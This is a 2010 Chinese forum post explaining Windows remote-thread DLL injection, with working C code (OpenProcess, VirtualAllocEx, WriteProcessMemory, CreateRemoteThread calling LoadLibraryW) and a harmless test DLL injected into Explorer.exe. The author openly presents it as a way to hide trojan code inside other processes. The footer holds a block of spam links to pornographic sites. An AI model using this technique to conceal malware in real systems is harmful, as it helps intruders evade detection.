[Full]
完整版
[Rss]
訂閱
[Xml]
無圖版
[Xhtml]
無圖版
Rss
& SiteMap
曙海教育集團論壇
http://www.bjzhda.cn
曙海教育集團論壇
◎
曙海教育集團論壇
→
VB語言
→
用vb和c語言來進行遠程線形技術
共1 條記錄, 每頁顯示 10 條, 頁簽:
[1]
[瀏覽完整版]
標題:用vb和c語言來進行遠程線形技術
1樓
wangxinxin
發表于:2010-12-14 14:39:24
遠程線程技術指的是通過在另一個進程中創建遠程線程的方法進入那個進程的內存地址空間。我們知道,在進程中,可以通過CreateThread函數創建線程,被創建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。 但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內創建新線程,被創建的遠程線程同樣可以共享遠程進程(是遠程進程耶。┑牡刂房臻g,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內存地址空間,也就擁有了那個遠程進程相當的權限。例如在遠程進程內部啟動一個DLL木馬(與進入進程內部相比,啟動一個DLL木馬是小意思,實際上我們可以隨意篡改那個遠程進程的數據)。
首先,我們通過OpenProcess 來打開我們試圖嵌入的進程(如果遠程進程不允許打開,那么嵌入就無法進行了,這往往是由于權限不足引起的,解決方法是通過種種途徑提升本地進程的權限)
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file://允許遠程創建線程
PROCESS_VM_OPERATION | file://允許遠程VM操作
PROCESS_VM_WRITE,//允許遠程VM寫
FALSE, dwRemoteProcessId )
由于我們后面需要寫入遠程進程的內存地址空間并建立遠程線程,所以需要申請足夠的權限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。
然后,我們可以建立LoadLibraryW函數這個線程來啟動我們的DLL木馬,LoadLibraryW函數是在kernel32.dll中定義的,用來加載DLL文件,它只有一個參數,就是DLL文件的絕對路徑名pszLibFileName,(也就是木馬DLL的全路徑文件名),但是由于木馬DLL是在遠程進程內調用的,所以我們首先還需要將這個文件名復制到遠程地址空間:(否則遠程線程是無法讀到這個參數的)
file://計算DLL路徑名需要的內存空間
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
file://使用VirtualAllocEx函數在遠程進程的內存地址空間分配DLL文件名緩沖區
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
file://使用WriteProcessMemory函數將DLL的路徑名復制到遠程進程的內存空間
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
file://計算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
萬事俱備,我們通過建立遠程線程時的地址pfnStartAddr(實際上就是LoadLibraryW的入口地址)和傳遞的參數pszLibFileRemote(實際上是我們復制過去的木馬DLL的全路徑文件名)在遠程進程內啟動我們的木馬DLL:
file://啟動遠程線程LoadLibraryW,通過遠程線程調用用戶的DLL文件
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,
pfnStartAddr, pszLibFileRemote, 0, NULL);
至此,遠程嵌入順利完成,為了試驗我們的DLL是不是已經正常的在遠程線程運行,我編寫了以下的測試DLL:
BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
{
char szProcessId[64] ;
switch ( reason )
{
case DLL_PROCESS_ATTACH:
{
file://獲取當前進程ID
_itoa ( GetCurrentProcessId(), szProcessId, 10 );
MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK );
}
default:
return TRUE;
}
}
當我使用RmtDll.exe程序將這個TestDLL.dll嵌入Explorer.exe進程后(PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具也能看到
Process ID: 1208
C:WINNTExplorer.exe (0x00400000)
……
C:TestDLL.dll (0x100000000)
……
這證明TestDLL.dll已經在Explorer.exe進程內正確地運行了。
無論是使用特洛伊DLL還是使用遠程線程,都是讓木馬的核心代碼運行于別的進程的內存空間,這樣不僅能很好地隱藏自己,也能更好的保護自己。
共1 條記錄, 每頁顯示 10 條, 頁簽:
[1]
Copyright © 2000 - 2009
曙海
教育集團
Powered By
曙海教育集團
Version 2.2
Processed in .03125 s, 2 queries.
[Full]
完整版
[Rss]
訂閱
[Xml]
無圖版
[Xhtml]
無圖版
主站蜘蛛池模板:
一级一级一级毛片免费毛片
|
动漫人物差差差动漫网站
|
亚洲免费黄色网址
|
67194成是人免费无码
|
波多野结衣教师诱惑
|
蜜柚视频网在线观看免费版
|
最近中文字幕2019高清视频
|
国产精品91视频
|
乱系列中文字幕在线视频
|
国产四虎免费精品视频
|
日韩精品视频观看
|
国产原创精品视频
|
久久99精品久久久久久齐齐
|
色欧美片视频在线观看
|
成年女人毛片免费视频
|
农村乱人伦一区二区
|
a拍拍男女免费看全片
|
残忍女王虐茎chinese
|
国产精品吹潮香蕉在线观看
|
亚洲av极品无码专区在线观看
|
久草福利在线观看
|
日本在线看片免费人成视频1000
|
国产一区二区女内射
|
一边摸一边桶一边脱免费视频
|
精品国产一区二区三区久久狼
|
成人免费看片又大又黄
|
免费的毛片视频
|
91麻豆黑人国产对白在线观看
|
欧美地区一二三区
|
夜色资源网站www
|
亚洲最大综合网
|
国内精自视频品线六区免费
|
日本精品久久久久久福利
|
四虎成人免费观看在线网址
|
www.com日本
|
精品国产一区二区三区久久影院
|
天天干天天操天天摸
|
亚洲伊人久久大香线蕉综合图片
|
香港黄页精品视频在线
|
年轻人免费看电影网站
|
亚洲欧美在线精品一区二区
|